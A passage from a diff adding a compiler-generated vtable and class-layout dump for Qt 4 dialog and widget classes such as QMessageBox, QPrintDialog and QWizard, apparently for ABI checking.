+180 QErrorMessage::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QErrorMessage::done
+228 QDialog::accept
+232 QDialog::reject
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI13QErrorMessage)
+244 QErrorMessage::_ZThn8_N13QErrorMessageD1Ev
+248 QErrorMessage::_ZThn8_N13QErrorMessageD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QErrorMessage
+ size=20 align=4
+ base size=20 base align=4
+QErrorMessage (0xb1b98240) 0
+ vptr=((& QErrorMessage::_ZTV13QErrorMessage) + 8u)
+ QDialog (0xb1b98280) 0
+ primary-for QErrorMessage (0xb1b98240)
+ QWidget (0xb1bad370) 0
+ primary-for QDialog (0xb1b98280)
+ QObject (0xb1d26ca8) 0
+ primary-for QWidget (0xb1bad370)
+ QPaintDevice (0xb1d26ce4) 8
+ vptr=((& QErrorMessage::_ZTV13QErrorMessage) + 244u)
+
+Vtable for QFileSystemModel
+QFileSystemModel::_ZTV16QFileSystemModel: 42u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QFileSystemModel)
+8 QFileSystemModel::metaObject
+12 QFileSystemModel::qt_metacast
+16 QFileSystemModel::qt_metacall
+20 QFileSystemModel::~QFileSystemModel
+24 QFileSystemModel::~QFileSystemModel
+28 QFileSystemModel::event
+32 QObject::eventFilter
+36 QFileSystemModel::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QFileSystemModel::index
+60 QFileSystemModel::parent
+64 QFileSystemModel::rowCount
+68 QFileSystemModel::columnCount
+72 QFileSystemModel::hasChildren
+76 QFileSystemModel::data
+80 QFileSystemModel::setData
+84 QFileSystemModel::headerData
+88 QAbstractItemModel::setHeaderData
+92 QAbstractItemModel::itemData
+96 QAbstractItemModel::setItemData
+100 QFileSystemModel::mimeTypes
+104 QFileSystemModel::mimeData
+108 QFileSystemModel::dropMimeData
+112 QFileSystemModel::supportedDropActions
+116 QAbstractItemModel::insertRows
+120 QAbstractItemModel::insertColumns
+124 QAbstractItemModel::removeRows
+128 QAbstractItemModel::removeColumns
+132 QFileSystemModel::fetchMore
+136 QFileSystemModel::canFetchMore
+140 QFileSystemModel::flags
+144 QFileSystemModel::sort
+148 QAbstractItemModel::buddy
+152 QAbstractItemModel::match
+156 QAbstractItemModel::span
+160 QAbstractItemModel::submit
+164 QAbstractItemModel::revert
+
+Class QFileSystemModel
+ size=8 align=4
+ base size=8 base align=4
+QFileSystemModel (0xb1b98580) 0
+ vptr=((& QFileSystemModel::_ZTV16QFileSystemModel) + 8u)
+ QAbstractItemModel (0xb1b985c0) 0
+ primary-for QFileSystemModel (0xb1b98580)
+ QObject (0xb1d26f00) 0
+ primary-for QAbstractItemModel (0xb1b985c0)
+
+Vtable for QFontDialog
+QFontDialog::_ZTV11QFontDialog: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QFontDialog)
+8 QFontDialog::metaObject
+12 QFontDialog::qt_metacast
+16 QFontDialog::qt_metacall
+20 QFontDialog::~QFontDialog
+24 QFontDialog::~QFontDialog
+28 QWidget::event
+32 QFontDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QFontDialog::setVisible
+64 QDialog::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QDialog::resizeEvent
+136 QDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFontDialog::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QFontDialog::done
+228 QDialog::accept
+232 QDialog::reject
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI11QFontDialog)
+244 QFontDialog::_ZThn8_N11QFontDialogD1Ev
+248 QFontDialog::_ZThn8_N11QFontDialogD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QFontDialog
+ size=20 align=4
+ base size=20 base align=4
+QFontDialog (0xb1b98980) 0
+ vptr=((& QFontDialog::_ZTV11QFontDialog) + 8u)
+ QDialog (0xb1b989c0) 0
+ primary-for QFontDialog (0xb1b98980)
+ QWidget (0xb1be2e60) 0
+ primary-for QDialog (0xb1b989c0)
+ QObject (0xb1be521c) 0
+ primary-for QWidget (0xb1be2e60)
+ QPaintDevice (0xb1be5258) 8
+ vptr=((& QFontDialog::_ZTV11QFontDialog) + 244u)
+
+Vtable for QInputDialog
+QInputDialog::_ZTV12QInputDialog: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QInputDialog)
+8 QInputDialog::metaObject
+12 QInputDialog::qt_metacast
+16 QInputDialog::qt_metacall
+20 QInputDialog::~QInputDialog
+24 QInputDialog::~QInputDialog
+28 QWidget::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QInputDialog::setVisible
+64 QInputDialog::sizeHint
+68 QInputDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QDialog::resizeEvent
+136 QDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QInputDialog::done
+228 QDialog::accept
+232 QDialog::reject
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI12QInputDialog)
+244 QInputDialog::_ZThn8_N12QInputDialogD1Ev
+248 QInputDialog::_ZThn8_N12QInputDialogD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QInputDialog
+ size=20 align=4
+ base size=20 base align=4
+QInputDialog (0xb1b98e40) 0
+ vptr=((& QInputDialog::_ZTV12QInputDialog) + 8u)
+ QDialog (0xb1b98e80) 0
+ primary-for QInputDialog (0xb1b98e40)
+ QWidget (0xb1c07f00) 0
+ primary-for QDialog (0xb1b98e80)
+ QObject (0xb1be55dc) 0
+ primary-for QWidget (0xb1c07f00)
+ QPaintDevice (0xb1be5618) 8
+ vptr=((& QInputDialog::_ZTV12QInputDialog) + 244u)
+
+Vtable for QMessageBox
+QMessageBox::_ZTV11QMessageBox: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QMessageBox)
+8 QMessageBox::metaObject
+12 QMessageBox::qt_metacast
+16 QMessageBox::qt_metacall
+20 QMessageBox::~QMessageBox
+24 QMessageBox::~QMessageBox
+28 QMessageBox::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QDialog::setVisible
+64 QMessageBox::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QMessageBox::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QMessageBox::resizeEvent
+136 QMessageBox::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QMessageBox::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QMessageBox::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QDialog::done
+228 QDialog::accept
+232 QDialog::reject
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI11QMessageBox)
+244 QMessageBox::_ZThn8_N11QMessageBoxD1Ev
+248 QMessageBox::_ZThn8_N11QMessageBoxD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QMessageBox
+ size=20 align=4
+ base size=20 base align=4
+QMessageBox (0xb1c45380) 0
+ vptr=((& QMessageBox::_ZTV11QMessageBox) + 8u)
+ QDialog (0xb1c453c0) 0
+ primary-for QMessageBox (0xb1c45380)
+ QWidget (0xb1c58640) 0
+ primary-for QDialog (0xb1c453c0)
+ QObject (0xb1be5a50) 0
+ primary-for QWidget (0xb1c58640)
+ QPaintDevice (0xb1be5a8c) 8
+ vptr=((& QMessageBox::_ZTV11QMessageBox) + 244u)
+
+Vtable for QPageSetupDialog
+QPageSetupDialog::_ZTV16QPageSetupDialog: 67u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QPageSetupDialog)
+8 QPageSetupDialog::metaObject
+12 QPageSetupDialog::qt_metacast
+16 QPageSetupDialog::qt_metacall
+20 QPageSetupDialog::~QPageSetupDialog
+24 QPageSetupDialog::~QPageSetupDialog
+28 QWidget::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QDialog::setVisible
+64 QDialog::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QDialog::resizeEvent
+136 QDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractPageSetupDialog::done
+228 QDialog::accept
+232 QDialog::reject
+236 QPageSetupDialog::exec
+240 (int (*)(...))-0x000000008
+244 (int (*)(...))(& _ZTI16QPageSetupDialog)
+248 QPageSetupDialog::_ZThn8_N16QPageSetupDialogD1Ev
+252 QPageSetupDialog::_ZThn8_N16QPageSetupDialogD0Ev
+256 QWidget::_ZThn8_NK7QWidget7devTypeEv
+260 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+264 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QPageSetupDialog
+ size=20 align=4
+ base size=20 base align=4
+QPageSetupDialog (0xb1c459c0) 0
+ vptr=((& QPageSetupDialog::_ZTV16QPageSetupDialog) + 8u)
+ QAbstractPageSetupDialog (0xb1c45a00) 0
+ primary-for QPageSetupDialog (0xb1c459c0)
+ QDialog (0xb1c45a40) 0
+ primary-for QAbstractPageSetupDialog (0xb1c45a00)
+ QWidget (0xb1ad8280) 0
+ primary-for QDialog (0xb1c45a40)
+ QObject (0xb1ad7078) 0
+ primary-for QWidget (0xb1ad8280)
+ QPaintDevice (0xb1ad70b4) 8
+ vptr=((& QPageSetupDialog::_ZTV16QPageSetupDialog) + 248u)
+
+Vtable for QUnixPrintWidget
+QUnixPrintWidget::_ZTV16QUnixPrintWidget: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QUnixPrintWidget)
+8 QUnixPrintWidget::metaObject
+12 QUnixPrintWidget::qt_metacast
+16 QUnixPrintWidget::qt_metacall
+20 QUnixPrintWidget::~QUnixPrintWidget
+24 QUnixPrintWidget::~QUnixPrintWidget
+28 QWidget::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QWidget::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI16QUnixPrintWidget)
+232 QUnixPrintWidget::_ZThn8_N16QUnixPrintWidgetD1Ev
+236 QUnixPrintWidget::_ZThn8_N16QUnixPrintWidgetD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QUnixPrintWidget
+ size=24 align=4
+ base size=24 base align=4
+QUnixPrintWidget (0xb1c45d00) 0
+ vptr=((& QUnixPrintWidget::_ZTV16QUnixPrintWidget) + 8u)
+ QWidget (0xb1addeb0) 0
+ primary-for QUnixPrintWidget (0xb1c45d00)
+ QObject (0xb1ad72d0) 0
+ primary-for QWidget (0xb1addeb0)
+ QPaintDevice (0xb1ad730c) 8
+ vptr=((& QUnixPrintWidget::_ZTV16QUnixPrintWidget) + 232u)
+
+Vtable for QPrintDialog
+QPrintDialog::_ZTV12QPrintDialog: 67u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QPrintDialog)
+8 QPrintDialog::metaObject
+12 QPrintDialog::qt_metacast
+16 QPrintDialog::qt_metacall
+20 QPrintDialog::~QPrintDialog
+24 QPrintDialog::~QPrintDialog
+28 QWidget::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QPrintDialog::setVisible
+64 QDialog::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QDialog::resizeEvent
+136 QDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QPrintDialog::done
+228 QPrintDialog::accept
+232 QDialog::reject
+236 QPrintDialog::exec
+240 (int (*)(...))-0x000000008
+244 (int (*)(...))(& _ZTI12QPrintDialog)
+248 QPrintDialog::_ZThn8_N12QPrintDialogD1Ev
+252 QPrintDialog::_ZThn8_N12QPrintDialogD0Ev
+256 QWidget::_ZThn8_NK7QWidget7devTypeEv
+260 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+264 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QPrintDialog
+ size=20 align=4
+ base size=20 base align=4
+QPrintDialog (0xb1c45f40) 0
+ vptr=((& QPrintDialog::_ZTV12QPrintDialog) + 8u)
+ QAbstractPrintDialog (0xb1c45f80) 0
+ primary-for QPrintDialog (0xb1c45f40)
+ QDialog (0xb1c45fc0) 0
+ primary-for QAbstractPrintDialog (0xb1c45f80)
+ QWidget (0xb1aecf50) 0
+ primary-for QDialog (0xb1c45fc0)
+ QObject (0xb1ad7438) 0
+ primary-for QWidget (0xb1aecf50)
+ QPaintDevice (0xb1ad7474) 8
+ vptr=((& QPrintDialog::_ZTV12QPrintDialog) + 248u)
+
+Vtable for QPrintPreviewDialog
+QPrintPreviewDialog::_ZTV19QPrintPreviewDialog: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QPrintPreviewDialog)
+8 QPrintPreviewDialog::metaObject
+12 QPrintPreviewDialog::qt_metacast
+16 QPrintPreviewDialog::qt_metacall
+20 QPrintPreviewDialog::~QPrintPreviewDialog
+24 QPrintPreviewDialog::~QPrintPreviewDialog
+28 QWidget::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QPrintPreviewDialog::setVisible
+64 QDialog::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QDialog::resizeEvent
+136 QDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QPrintPreviewDialog::done
+228 QDialog::accept
+232 QDialog::reject
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI19QPrintPreviewDialog)
+244 QPrintPreviewDialog::_ZThn8_N19QPrintPreviewDialogD1Ev
+248 QPrintPreviewDialog::_ZThn8_N19QPrintPreviewDialogD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QPrintPreviewDialog
+ size=24 align=4
+ base size=24 base align=4
+QPrintPreviewDialog (0xb1af4280) 0
+ vptr=((& QPrintPreviewDialog::_ZTV19QPrintPreviewDialog) + 8u)
+ QDialog (0xb1af42c0) 0
+ primary-for QPrintPreviewDialog (0xb1af4280)
+ QWidget (0xb1afcb90) 0
+ primary-for QDialog (0xb1af42c0)
+ QObject (0xb1ad7690) 0
+ primary-for QWidget (0xb1afcb90)
+ QPaintDevice (0xb1ad76cc) 8
+ vptr=((& QPrintPreviewDialog::_ZTV19QPrintPreviewDialog) + 244u)
+
+Vtable for QProgressDialog
+QProgressDialog::_ZTV15QProgressDialog: 66u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QProgressDialog)
+8 QProgressDialog::metaObject
+12 QProgressDialog::qt_metacast
+16 QProgressDialog::qt_metacall
+20 QProgressDialog::~QProgressDialog
+24 QProgressDialog::~QProgressDialog
+28 QWidget::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QDialog::setVisible
+64 QProgressDialog::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QProgressDialog::resizeEvent
+136 QProgressDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QProgressDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QProgressDialog::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QDialog::done
+228 QDialog::accept
+232 QDialog::reject
+236 (int (*)(...))-0x000000008
+240 (int (*)(...))(& _ZTI15QProgressDialog)
+244 QProgressDialog::_ZThn8_N15QProgressDialogD1Ev
+248 QProgressDialog::_ZThn8_N15QProgressDialogD0Ev
+252 QWidget::_ZThn8_NK7QWidget7devTypeEv
+256 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+260 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QProgressDialog
+ size=20 align=4
+ base size=20 base align=4
+QProgressDialog (0xb1af4580) 0
+ vptr=((& QProgressDialog::_ZTV15QProgressDialog) + 8u)
+ QDialog (0xb1af45c0) 0
+ primary-for QProgressDialog (0xb1af4580)
+ QWidget (0xb1b0c4b0) 0
+ primary-for QDialog (0xb1af45c0)
+ QObject (0xb1ad78e8) 0
+ primary-for QWidget (0xb1b0c4b0)
+ QPaintDevice (0xb1ad7924) 8
+ vptr=((& QProgressDialog::_ZTV15QProgressDialog) + 244u)
+
+Vtable for QWizard
+QWizard::_ZTV7QWizard: 70u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI7QWizard)
+8 QWizard::metaObject
+12 QWizard::qt_metacast
+16 QWizard::qt_metacall
+20 QWizard::~QWizard
+24 QWizard::~QWizard
+28 QWizard::event
+32 QDialog::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWizard::setVisible
+64 QWizard::sizeHint
+68 QDialog::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QWidget::mousePressEvent
+84 QWidget::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QDialog::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWizard::paintEvent
+128 QWidget::moveEvent
+132 QWizard::resizeEvent
+136 QDialog::closeEvent
+140 QDialog::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QDialog::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QWizard::done
+228 QDialog::accept
+232 QDialog::reject
+236 QWizard::validateCurrentPage
+240 QWizard::nextId
+244 QWizard::initializePage
+248 QWizard::cleanupPage
+252 (int (*)(...))-0x000000008
+256 (int (*)(...))(& _ZTI7QWizard)
+260 QWizard::_ZThn8_N7QWizardD1Ev
+264 QWizard::_ZThn8_N7QWizardD0Ev
+268 QWidget::_ZThn8_NK7QWidget7devTypeEv
+272 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+276 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QWizard
+ size=20 align=4
+ base size=20 base align=4
+QWizard (0xb1af4880) 0
+ vptr=((& QWizard::_ZTV7QWizard) + 8u)
+ QDialog (0xb1af48c0) 0
+ primary-for QWizard (0xb1af4880)
+ QWidget (0xb1b25000) 0
+ primary-for QDialog (0xb1af48c0)
+ QObject (0xb1ad7b40) 0
+ primary-for QWidget (0xb1b25000)
+ QPaintDevice (0xb1ad7b7c) 8
+ vptr=((& QWizard::_ZTV7QWizard) + 260u)
+
+Vtable for QWizardPage
+QWizardPage::_ZTV11QWizardPage: 68u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QWizardPage)
+8 QWizardPage::metaObject
+12 QWizardPage::qt_metacast
+16 QWizardPage::qt_metacall
+20 QWizardPage::~QWizardPage
+24 QWizardPage::~QWizardPage
+28 QWidget::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
